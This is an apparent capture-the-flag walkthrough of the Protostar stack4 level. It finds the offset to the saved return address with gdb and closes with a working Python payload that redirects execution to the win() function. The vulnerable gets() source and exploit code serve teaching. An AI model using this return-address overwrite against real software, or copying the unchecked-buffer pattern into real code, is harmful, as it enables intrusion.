Skip to main content

Stack 4

Stack4 takes a look at overwriting saved EIP and standard buffer overflows. This level is at /opt/protostar/bin/stack4

Hints

  • A variety of introductory papers into buffer overflows may help
  • gdb lets you do “run < input
  • EIP is not directly after the end of buffer, compiler padding can also increase the size.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

In this program, we have the win function. There is no initialized function pointer in the main function. There fore we will have to overwrite the saved eip, also known as the the saved return address.

The saved return address is located before the buffer.

		    |-------------------------|                                                       
entry esp --------> | saved eip |
| (return address) |
|-------------------------|
new ebp ----------> | saved ebp |
|-------------------------|
| buff [63] |
| . |
| . |
| . |
| buff [0] |
|-------------------------|
new esp ----------> | i |
|-------------------------|
| |

That was a generalized representation.

We need the exact layout of the stack in order to craft our payload.

(gdb) disass main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret

Set a breakpoint at main+21 and pass in the following input:

aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz

This will lead to segmentation fault.

Program received signal SIGSEGV, Segmentation fault.
0x74747474 in ?? ()

The error message tells us that the value of stored eip was changed to 0x74747474 which is not a valid address. 0x74 is t in ASCII.

Let's try to get a clearer picture.

(gdb) info registers
eax 0xbffff770 -1073744016
ecx 0xbffff770 -1073744016
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c0 0xbffff7c0
ebp 0x73737373 0x73737373
esi 0x0 0
edi 0x0 0
eip 0x74747474 0x74747474
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

The 77th, 78th, 79th and 80th bytes from our input overwrote the saved eip, and the four bytes before those which were ssss overwrote the saved ebp. This means we need 80 bytes in total. 64 bytes to fill the buffer, 8 bytes of padding, 4 bytes to overwrite the saved ebp and 4 for overwriting the saved eip.

In order to alter control flow to the win function, we first need to know its address.

(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>: push ebp
0x080483f5 <win+1>: mov ebp,esp
0x080483f7 <win+3>: sub esp,0x18
0x080483fa <win+6>: mov DWORD PTR [esp],0x80484e0
0x08048401 <win+13>: call 0x804832c <puts@plt>
0x08048406 <win+18>: leave
0x08048407 <win+19>: ret
End of assembler dump.

These four bytes need to be the 0x080483f4 address in little-endian format.

Exploit

$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
import struct

padding = "A"*76
eip = struct.pack("I", 0x080483f4)
payload = padding+eip
print (payload)